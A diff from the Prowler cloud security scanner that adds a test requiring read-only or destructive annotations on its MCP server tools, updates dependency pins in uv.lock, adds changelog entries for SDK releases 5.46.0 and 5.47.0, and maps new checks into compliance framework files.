||||
|
||||
async def test_every_tool_says_whether_it_is_read_only_or_destructive(mcp_root_server):
|
||||
"""Clients decide whether to ask the user from these hints.
|
||||
|
||||
Left unset, the MCP spec treats a tool as destructive, so a listing would look
|
||||
exactly like a deletion.
|
||||
"""
|
||||
async with Client(mcp_root_server) as client:
|
||||
tools = {tool.name: tool.annotations for tool in await client.list_tools()}
|
||||
|
||||
for name, annotations in tools.items():
|
||||
assert annotations is not None, f"{name} has no annotations"
|
||||
assert annotations.readOnlyHint is not None, f"{name} has no readOnlyHint"
|
||||
assert annotations.destructiveHint is not None, f"{name} has no destructiveHint"
|
||||
|
||||
destructive = {name for name, a in tools.items() if a.destructiveHint}
|
||||
assert destructive == {
|
||||
"prowler_create_mute_rule",
|
||||
"prowler_update_mute_rule",
|
||||
"prowler_set_mutelist",
|
||||
"prowler_delete_mutelist",
|
||||
"prowler_delete_mute_rule",
|
||||
"prowler_delete_provider",
|
||||
"prowler_delete_integration",
|
||||
"prowler_set_user_role",
|
||||
}
|
||||
assert tools["prowler_run_attack_paths_query"].readOnlyHint
|
||||
assert tools["prowler_hub_list_checks"].readOnlyHint
|
||||
assert tools["prowler_docs_search"].readOnlyHint
|
||||
assert tools["prowler_get_mutelist"].readOnlyHint
|
||||
assert tools["prowler_hub_get_check_code"].readOnlyHint
|
||||
assert not tools["prowler_trigger_scan"].readOnlyHint
|
||||
Generated
+14
-12
@@ -1,5 +1,5 @@
|
||||
version = 1
|
||||
revision = 3
|
||||
revision = 5
|
||||
requires-python = ">=3.12"
|
||||
resolution-markers = [
|
||||
"python_full_version >= '3.14' and sys_platform == 'win32'",
|
||||
@@ -10,7 +10,9 @@ resolution-markers = [
|
||||
|
||||
[manifest]
|
||||
constraints = [
|
||||
{ name = "authlib", specifier = "==1.9.1" },
|
||||
{ name = "cryptography", specifier = "==50.0.0" },
|
||||
{ name = "dnspython", specifier = "==2.9.0" },
|
||||
{ name = "joserfc", specifier = "==1.6.8" },
|
||||
{ name = "mcp", specifier = "==1.28.1" },
|
||||
{ name = "pyjwt", specifier = "==2.14.0" },
|
||||
@@ -62,15 +64,15 @@ wheels = [
|
||||
|
||||
[[package]]
|
||||
name = "authlib"
|
||||
version = "1.7.2"
|
||||
version = "1.9.1"
|
||||
source = { registry = "https://pypi.org/simple" }
|
||||
dependencies = [
|
||||
{ name = "cryptography" },
|
||||
{ name = "joserfc" },
|
||||
]
|
||||
sdist = { url = "https://files.pythonhosted.org/packages/36/98/7d93f30d029643c0275dbc0bd6d5a6f670661ee6c9a94d93af7ab4887600/authlib-1.7.2.tar.gz", hash = "sha256:2cea25fefcd4e7173bdf1372c0afc265c8034b23a8cd5dcb6a9164b826c64231", size = 176511, upload-time = "2026-05-06T08:10:23.116Z" }
|
||||
sdist = { url = "https://files.pythonhosted.org/packages/c9/dc/087c08741a98d234c9b98beef8a28d3c309f814d14b6156422c5815bf6d6/authlib-1.9.1.tar.gz", hash = "sha256:5c7d9848f47cac340f060f76ae0bc09b59f5c8e89cc1bb032d4370a0c55b5974", size = 182700, upload-time = "2026-10-14T14:17:52.307Z" }
|
||||
wheels = [
|
||||
{ url = "https://files.pythonhosted.org/packages/fb/95/adcb68e20c34162e9135f370d6e31737719c2b6f94bc953fe7ed1f10fe21/authlib-1.7.2-py2.py3-none-any.whl", hash = "sha256:3e1faedc9d87e7d56a164eca3ccb6ace0d61b94abe83e92242f8dc8bba9b4a9f", size = 259548, upload-time = "2026-05-06T08:10:21.436Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/39/44/a46089266de32a0d809023b6bf31b80a1f26a46954446a7ce695a565cbea/authlib-1.9.1-py2.py3-none-any.whl", hash = "sha256:8b9be8b1e5174dcbf5520e984f1a22dc2edae5b6e40a61d4cedbf86b97e9e69b", size = 266042, upload-time = "2026-10-14T14:17:50.695Z" },
|
||||
]
|
||||
|
||||
[[package]]
|
||||
@@ -129,11 +131,11 @@ wheels = [
|
||||
|
||||
[[package]]
|
||||
name = "certifi"
|
||||
version = "2026.4.22"
|
||||
version = "2026.10.19"
|
||||
source = { registry = "https://pypi.org/simple" }
|
||||
sdist = { url = "https://files.pythonhosted.org/packages/25/ee/6caf7a40c36a1220410afe15a1cc64993a1f864871f698c0f93acb72842a/certifi-2026.4.22.tar.gz", hash = "sha256:8d455352a37b71bf76a79caa83a3d6c25afee4a385d632127b6afb3963f1c580", size = 137077, upload-time = "2026-04-22T11:26:11.191Z" }
|
||||
sdist = { url = "https://files.pythonhosted.org/packages/a6/bd/1436c50cc46699de0230fbaacc1d1de7bfec413176099949e9d5112e88f2/certifi-2026.10.19.tar.gz", hash = "sha256:035c1e85572b141bf1c3a3eff0e33a8eb74917522f2559075ff8d2fea780a1ae", size = 137598, upload-time = "2026-10-20T02:24:16.604Z" }
|
||||
wheels = [
|
||||
{ url = "https://files.pythonhosted.org/packages/22/30/7cd8fdcdfbc5b869528b079bfb76dcdf6056b1a2097a662e5e8c04f42965/certifi-2026.4.22-py3-none-any.whl", hash = "sha256:3cb2210c8f88ba2318d29b0388d1023c8492ff72ecdde4ebdaddbb13a31b1c4a", size = 135707, upload-time = "2026-04-22T11:26:09.372Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/c4/51/29046e48f693c54e5b7412216d447a1d8362c9653148d98c02cdf65fa733/certifi-2026.10.19-py3-none-any.whl", hash = "sha256:42d35340cc5b9ba78e818ddbff0c5b1c2b779de448a340fd1b989f5fa8670e1b", size = 136464, upload-time = "2026-10-20T02:24:15.072Z" },
|
||||
]
|
||||
|
||||
[[package]]
|
||||
@@ -350,11 +352,11 @@ wheels = [
|
||||
|
||||
[[package]]
|
||||
name = "dnspython"
|
||||
version = "2.8.0"
|
||||
version = "2.9.0"
|
||||
source = { registry = "https://pypi.org/simple" }
|
||||
sdist = { url = "https://files.pythonhosted.org/packages/8c/8b/57666417c0f90f08bcafa776861060426765fdb422eb10212086fb811d26/dnspython-2.8.0.tar.gz", hash = "sha256:181d3c6996452cb1189c4046c61599b84a5a86e099562ffde77d26984ff26d0f", size = 368251, upload-time = "2025-09-07T18:58:00.022Z" }
|
||||
sdist = { url = "https://files.pythonhosted.org/packages/ef/4a/50822184bd67cc6493f0fb6a880749158fcd31ab3fa07409acfd91f9fc85/dnspython-2.9.0.tar.gz", hash = "sha256:b44dc6b18f07a8b1c56676a19fbfdb5209415b046a9cece286baafa87ff3f7f1", size = 423560, upload-time = "2026-10-09T00:07:24.352Z" }
|
||||
wheels = [
|
||||
{ url = "https://files.pythonhosted.org/packages/ba/5a/18ad964b0086c6e62e2e7500f7edc89e3faa45033c71c1893d34eed2b2de/dnspython-2.8.0-py3-none-any.whl", hash = "sha256:01d9bbc4a2d76bf0db7c1f729812ded6d912bd318d3b1cf81d30c0f845dbf3af", size = 331094, upload-time = "2025-09-07T18:57:58.071Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/10/02/cdcc9b7c051786a103c3b09e1003a82fa0c66bcb91ffbdabcfbf7b4163b9/dnspython-2.9.0-py3-none-any.whl", hash = "sha256:9a4aedb833c3c1b49214d04d44d3032ab7a9135f7c1d29a549b4ff78fd82fda9", size = 354822, upload-time = "2026-10-09T00:07:22.622Z" },
|
||||
]
|
||||
|
||||
[[package]]
|
||||
@@ -1293,8 +1295,8 @@ name = "secretstorage"
|
||||
version = "3.5.0"
|
||||
source = { registry = "https://pypi.org/simple" }
|
||||
dependencies = [
|
||||
{ name = "cryptography", marker = "sys_platform != 'win32'" },
|
||||
{ name = "jeepney", marker = "sys_platform != 'win32'" },
|
||||
{ name = "cryptography" },
|
||||
{ name = "jeepney" },
|
||||
]
|
||||
sdist = { url = "https://files.pythonhosted.org/packages/1c/03/e834bcd866f2f8a49a85eaff47340affa3bfa391ee9912a952a1faa68c7b/secretstorage-3.5.0.tar.gz", hash = "sha256:f04b8e4689cbce351744d5537bf6b1329c6fc68f91fa666f60a380edddcd11be", size = 19884, upload-time = "2025-11-23T19:02:53.191Z" }
|
||||
wheels = [
|
||||
|
||||
@@ -4,6 +4,63 @@ All notable changes to the **Prowler SDK** are documented in this file.
|
||||
|
||||
<!-- changelog: release notes start -->
|
||||
|
||||
## [5.47.0] (Prowler v5.47.0)
|
||||
|
||||
### 🚀 Added
|
||||
|
||||
- `iam_subscription_owners_between_2_and_3` check for Azure provider, verifying each subscription has between 2 and 3 principals with the Owner role, including owners inherited from management groups, mapped to CIS 5.0 and 6.0 [(#13145)](https://github.com/prowler-cloud/prowler/pull/13145)
|
||||
- `network_application_gateway_waf_enabled` and `network_application_gateway_http2_enabled` checks for Azure provider, with Application Gateway and WAF policy collection in the network service, mapped to CIS 5.0 and 6.0 [(#13160)](https://github.com/prowler-cloud/prowler/pull/13160)
|
||||
|
||||
### 🐞 Fixed
|
||||
|
||||
- Security group internet exposure checks now treat CIDRs in one ingress rule that together cover 0.0.0.0/0 or ::/0 as open to the internet [(#13191)](https://github.com/prowler-cloud/prowler/pull/13191)
|
||||
|
||||
### 🔐 Security
|
||||
|
||||
- pymongo to 4.18.3, dnspython to 2.9.0 and oauthlib to 4.0.0 in the SDK, patching the BSON decoding and DNS compression pointer denial of service advisories and the OAuth device flow token disclosure; dnspython stays on 2.8.0 for Python 3.10, which 2.9.0 no longer supports [(#13185)](https://github.com/prowler-cloud/prowler/pull/13185)
|
||||
|
||||
---
|
||||
|
||||
## [5.46.0] (Prowler v5.46.0)
|
||||
|
||||
### 🚀 Added
|
||||
|
||||
- `cognito_user_pool_account_recovery_sms_not_preferred` check verifying Cognito user pools do not rank SMS first for account recovery [(#12251)](https://github.com/prowler-cloud/prowler/pull/12251)
|
||||
- `bedrock_guardrail_sensitive_information_filter_enforced` check for AWS provider, flagging Bedrock guardrails whose PII entities or custom regexes take no action on the output path, so a detected match is reported in the trace and still delivered to the caller [(#12663)](https://github.com/prowler-cloud/prowler/pull/12663)
|
||||
- `bedrock_model_invocation_logging_text_data_enabled` check for AWS provider, verifying that model invocation logging delivers prompt and response text rather than naming a destination while excluding request and response bodies [(#12663)](https://github.com/prowler-cloud/prowler/pull/12663)
|
||||
- Vertex AI service for GCP provider, including the `vertexai_workbench_instance_public_ip_disabled` and `vertexai_workbench_instance_root_access_disabled` checks mapped to PCI DSS 4.0 [(#13062)](https://github.com/prowler-cloud/prowler/pull/13062)
|
||||
- `vertexai_workbench_instance_terminal_access_disabled`, `vertexai_workbench_instance_file_download_disabled` and `vertexai_workbench_instance_auto_upgrade_enabled` checks for GCP provider, with Vertex AI Workbench checks mapped to CCC MLDE requirements [(#13077)](https://github.com/prowler-cloud/prowler/pull/13077)
|
||||
- Google Workspace findings state when a feature is not sold on the tenant edition: Drive DLP rules, Google session control and the shared drive sharing settings on Business Starter; reading editions needs the optional `apps.licensing` scope [(#13113)](https://github.com/prowler-cloud/prowler/pull/13113)
|
||||
- `wafv2_webacl_managed_rule_groups_enabled` check to verify WAFv2 Web ACLs reference at least one managed rule group [(#13127)](https://github.com/prowler-cloud/prowler/pull/13127)
|
||||
- `appengine` GCP service and `appengine_version_php_runtime_supported` check to flag App Engine serving versions on PHP runtimes without security fixes [(#13127)](https://github.com/prowler-cloud/prowler/pull/13127)
|
||||
- `elasticbeanstalk_environment_php_platform_updated` check to flag Elastic Beanstalk PHP environments on branches without security fixes or on platform versions older than the one bundling the fixed PHP release [(#13127)](https://github.com/prowler-cloud/prowler/pull/13127)
|
||||
- `lightsail_instance_php_blueprint_updated` check to flag Lightsail instances created from PHP blueprints for manual verification of the PHP release [(#13127)](https://github.com/prowler-cloud/prowler/pull/13127)
|
||||
|
||||
### 🔄 Changed
|
||||
|
||||
- Google Workspace checks for Chat, Drive, Gmail, Calendar and Groups pass with the reason stated when the app is turned off for everyone and no organizational unit or group turns it back on. The rule covers settings that only act while the app is on: Drive sharing settings and the settings of existing groups keep being evaluated because existing shares and groups stay reachable, and only group creation is exempt when Groups for Business is off [(#13117)](https://github.com/prowler-cloud/prowler/pull/13117)
|
||||
- Default `php_latest_version` for `app_ensure_php_version_is_latest` raised from `8.2` to `8.5`, the newest PHP runtime on Azure App Service for Linux, following the PHP2Shell (CVE-2026-109618, CVE-2026-109619) security release [(#13128)](https://github.com/prowler-cloud/prowler/pull/13128)
|
||||
|
||||
### 🐞 Fixed
|
||||
|
||||
- `bedrock_api_key_no_long_term_credentials` now reports a Bedrock long-term API key that never expires; IAM only returns `ExpirationDate` for keys created with an expiration period, so keys created without one were skipped and produced no finding at all [(#12663)](https://github.com/prowler-cloud/prowler/pull/12663)
|
||||
- `drive_desktop_access_disabled` remediation steps for Google Workspace now point to the Google Drive for desktop card in the Admin console instead of Features and Applications [(#13113)](https://github.com/prowler-cloud/prowler/pull/13113)
|
||||
- Gmail spoofing checks read each protection action from its own Policy API field; the inbound domain spoofing check could never pass and the similar domain names check reported the inbound action [(#13114)](https://github.com/prowler-cloud/prowler/pull/13114)
|
||||
- Google Workspace `drive_publishing_files_disabled` passes when sharing outside the organization is limited to allowlisted domains or off, since publishing to the web only exists with sharing on [(#13115)](https://github.com/prowler-cloud/prowler/pull/13115)
|
||||
- Google Workspace checks now read the policy Google applies (greatest sortOrder) instead of the last policy the Cloud Identity Policy API lists, which reported default values over admin-configured ones [(#13117)](https://github.com/prowler-cloud/prowler/pull/13117)
|
||||
- Azure App Service runtime checks (`app_ensure_php_version_is_latest`, `app_ensure_python_version_is_latest`, `app_ensure_java_version_is_latest`) now pass any runtime at or above the configured minimum instead of failing every version newer than the configured one [(#13127)](https://github.com/prowler-cloud/prowler/pull/13127)
|
||||
- Scan report generation parses each resource's metadata once per batch and sanitizes it once per finding, so providers with very large resource metadata no longer exhaust the worker memory [(#13149)](https://github.com/prowler-cloud/prowler/pull/13149)
|
||||
|
||||
### 🔐 Security
|
||||
|
||||
- OpenStack auth_url resolving to loopback, private or otherwise non-public hosts rejected before the SDK connects, on both the connection test and the scan [(#12962)](https://github.com/prowler-cloud/prowler/pull/12962)
|
||||
- Trivy from 0.75.0 to 0.76.0 in the SDK container image, built with Go 1.27.2 and x/net 0.60.0, patching the HTTP/2 and TLS CVEs bundled in Trivy 0.75.0 [(#13064)](https://github.com/prowler-cloud/prowler/pull/13064)
|
||||
- certifi to 2026.10.19 and aiohttp to 3.14.5 with yarl 1.25.1 in the SDK, plus uv 0.13.4 and Trivy 0.76.1 in its container image, patching the compromised emSign root CAs bundled in certifi and uv, the aiohttp resource exhaustion advisories and the Go 1.27.2 stdlib CVE in the Trivy binary [(#13107)](https://github.com/prowler-cloud/prowler/pull/13107)
|
||||
- Resource metadata attached to findings no longer carries the values that secrets checks scan (CloudFormation outputs, Lambda environment variables, EC2 user data and similar fields); they are replaced with `REDACTED` before reaching the Evidence tab, the API and the output files [(#13129)](https://github.com/prowler-cloud/prowler/pull/13129)
|
||||
- black from 26.3.1 to 26.10.1 and graphql-core from 3.2.8 to 3.2.12 in the SDK, and libbrotli1 1.1.0-2+deb13u1 in its container image, which no longer ships the MicrosoftTeams build SBOM that Trivy read as installed zod and body-parser [(#13135)](https://github.com/prowler-cloud/prowler/pull/13135)
|
||||
|
||||
---
|
||||
|
||||
## [5.45.0] (Prowler v5.45.0)
|
||||
|
||||
### 🚀 Added
|
||||
|
||||
@@ -1 +0,0 @@
|
||||
Vertex AI service for GCP provider, including the `vertexai_workbench_instance_public_ip_disabled` and `vertexai_workbench_instance_root_access_disabled` checks mapped to PCI DSS 4.0
|
||||
@@ -0,0 +1 @@
|
||||
MongoDB Atlas connection errors now include the HTTP status, error code and detail returned by Atlas instead of a generic HTTP error, and a custom exception message no longer persists into later errors of the same type
|
||||
@@ -1 +0,0 @@
|
||||
Trivy from 0.75.0 to 0.76.0 in the SDK container image, built with Go 1.27.2 and x/net 0.60.0, patching the HTTP/2 and TLS CVEs bundled in Trivy 0.75.0
|
||||
@@ -0,0 +1 @@
|
||||
Python base image from 3.12.15 to 3.12.16 in the SDK container image, patching CVE-2026-115557
|
||||
@@ -123,7 +123,8 @@
|
||||
"inspector2_active_findings_exist",
|
||||
"awslambda_function_using_supported_runtimes",
|
||||
"rds_instance_deprecated_engine_version",
|
||||
"rds_instance_extended_support"
|
||||
"rds_instance_extended_support",
|
||||
"elasticbeanstalk_environment_php_platform_updated"
|
||||
],
|
||||
"Attributes": [
|
||||
{
|
||||
@@ -160,7 +161,8 @@
|
||||
"redshift_cluster_automatic_upgrades",
|
||||
"kafka_cluster_uses_latest_version",
|
||||
"opensearch_service_domains_updated_to_the_latest_service_software_version",
|
||||
"ecs_service_fargate_latest_platform_version"
|
||||
"ecs_service_fargate_latest_platform_version",
|
||||
"elasticbeanstalk_environment_php_platform_updated"
|
||||
],
|
||||
"Attributes": [
|
||||
{
|
||||
@@ -215,7 +217,8 @@
|
||||
"eks_cluster_uses_a_supported_version",
|
||||
"ecs_service_fargate_latest_platform_version",
|
||||
"kafka_cluster_uses_latest_version",
|
||||
"opensearch_service_domains_updated_to_the_latest_service_software_version"
|
||||
"opensearch_service_domains_updated_to_the_latest_service_software_version",
|
||||
"elasticbeanstalk_environment_php_platform_updated"
|
||||
],
|
||||
"Attributes": [
|
||||
{
|
||||
|
||||
@@ -60,7 +60,8 @@
|
||||
"wafv2_webacl_logging_enabled",
|
||||
"wafv2_webacl_rule_logging_enabled",
|
||||
"apigateway_restapi_waf_acl_attached",
|
||||
"cognito_user_pool_waf_acl_attached"
|
||||
"cognito_user_pool_waf_acl_attached",
|
||||
"wafv2_webacl_managed_rule_groups_enabled"
|
||||
]
|
||||
},
|
||||
{
|
||||
@@ -552,7 +553,8 @@
|
||||
}
|
||||
],
|
||||
"Checks": [
|
||||
"bedrock_guardrail_sensitive_information_filter_enabled"
|
||||
"bedrock_guardrail_sensitive_information_filter_enabled",
|
||||
"bedrock_guardrail_sensitive_information_filter_enforced"
|
||||
]
|
||||
},
|
||||
{
|
||||
@@ -585,6 +587,7 @@
|
||||
],
|
||||
"Checks": [
|
||||
"bedrock_model_invocation_logging_enabled",
|
||||
"bedrock_model_invocation_logging_text_data_enabled",
|
||||
"bedrock_model_invocation_logs_encryption_enabled"
|
||||
]
|
||||
},
|
||||
|
||||
@@ -5142,7 +5142,8 @@
|
||||
"ssm_managed_compliant_patching",
|
||||
"elasticache_redis_cluster_auto_minor_version_upgrades",
|
||||
"codeartifact_packages_external_public_publishing_disabled",
|
||||
"elasticbeanstalk_environment_managed_updates_enabled"
|
||||
"elasticbeanstalk_environment_managed_updates_enabled",
|
||||
"elasticbeanstalk_environment_php_platform_updated"
|
||||
]
|
||||
},
|
||||
{
|
||||
|
||||
@@ -2856,7 +2856,8 @@
|
||||
"waf_regional_webacl_with_rules",
|
||||
"wafv2_webacl_logging_enabled",
|
||||
"wafv2_webacl_rule_logging_enabled",
|
||||
"wafv2_webacl_with_rules"
|
||||
"wafv2_webacl_with_rules",
|
||||
"wafv2_webacl_managed_rule_groups_enabled"
|
||||
],
|
||||
"ConfigRequirements": [
|
||||
{
|
||||
@@ -3619,7 +3620,8 @@
|
||||
"rds_instance_deprecated_engine_version",
|
||||
"rds_instance_minor_version_upgrade_enabled",
|
||||
"redshift_cluster_automatic_upgrades",
|
||||
"ssm_managed_compliant_patching"
|
||||
"ssm_managed_compliant_patching",
|
||||
"elasticbeanstalk_environment_php_platform_updated"
|
||||
],
|
||||
"Attributes": [
|
||||
{
|
||||
|
||||
@@ -2859,7 +2859,8 @@
|
||||
"waf_regional_webacl_with_rules",
|
||||
"wafv2_webacl_logging_enabled",
|
||||
"wafv2_webacl_rule_logging_enabled",
|
||||
"wafv2_webacl_with_rules"
|
||||
"wafv2_webacl_with_rules",
|
||||
"wafv2_webacl_managed_rule_groups_enabled"
|
||||
],
|
||||
"ConfigRequirements": [
|
||||
{
|
||||
@@ -3622,7 +3623,8 @@
|
||||
"rds_instance_deprecated_engine_version",
|
||||
"rds_instance_minor_version_upgrade_enabled",
|
||||
"redshift_cluster_automatic_upgrades",
|
||||
"ssm_managed_compliant_patching"
|
||||
"ssm_managed_compliant_patching",
|
||||
"elasticbeanstalk_environment_php_platform_updated"
|
||||
],
|
||||
"Attributes": [
|
||||
{
|
||||
|
||||
@@ -1128,7 +1128,8 @@
|
||||
"Description": "requirements regarding security updates throughout the entire lifetime of the ICT services or ICT products, or replacement after the end of the support period;",
|
||||
"Checks": [
|
||||
"elasticbeanstalk_environment_managed_updates_enabled",
|
||||
"opensearch_service_domains_updated_to_the_latest_service_software_version"
|
||||
"opensearch_service_domains_updated_to_the_latest_service_software_version",
|
||||
"elasticbeanstalk_environment_php_platform_updated"
|
||||
],
|
||||
"Attributes": [
|
||||
{
|
||||
@@ -1253,7 +1254,8 @@
|
||||
"memorydb_cluster_auto_minor_version_upgrades",
|
||||
"elasticbeanstalk_environment_managed_updates_enabled",
|
||||
"elasticache_redis_cluster_auto_minor_version_upgrades",
|
||||
"glue_development_endpoints_job_bookmark_encryption_enabled"
|
||||
"glue_development_endpoints_job_bookmark_encryption_enabled",
|
||||
"elasticbeanstalk_environment_php_platform_updated"
|
||||
],
|
||||
"Attributes": [
|
||||
{
|
||||
|
||||
@@ -1148,7 +1148,9 @@
|
||||
{
|
||||
"Id": "5.27",
|
||||
"Description": "Ensure there are between 2 and 3 subscription owners",
|
||||
"Checks": [],
|
||||
"Checks": [
|
||||
"iam_subscription_owners_between_2_and_3"
|
||||
],
|
||||
"Attributes": [
|
||||
{
|
||||
"Section": "5 Identity Services",
|
||||
@@ -1954,7 +1956,9 @@
|
||||
{
|
||||
"Id": "7.10",
|
||||
"Description": "Ensure Azure Web Application Firewall (WAF) is enabled on Azure Application Gateway",
|
||||
"Checks": [],
|
||||
"Checks": [
|
||||
"network_application_gateway_waf_enabled"
|
||||
],
|
||||
"Attributes": [
|
||||
{
|
||||
"Section": "7 Networking Services",
|
||||
@@ -2016,7 +2020,9 @@
|
||||
{
|
||||
"Id": "7.13",
|
||||
"Description": "Ensure 'HTTP2' is set to 'Enabled' on Azure Application Gateway",
|
||||
"Checks": [],
|
||||
"Checks": [
|
||||
"network_application_gateway_http2_enabled"
|
||||
],
|
||||
"Attributes": [
|
||||
{
|
||||
"Section": "7 Networking Services",
|
||||
|
||||
Loaded 100 of 895 files, more files were not shown because too many files have changed in this diff.
Show more
Reference in new issue
Block a user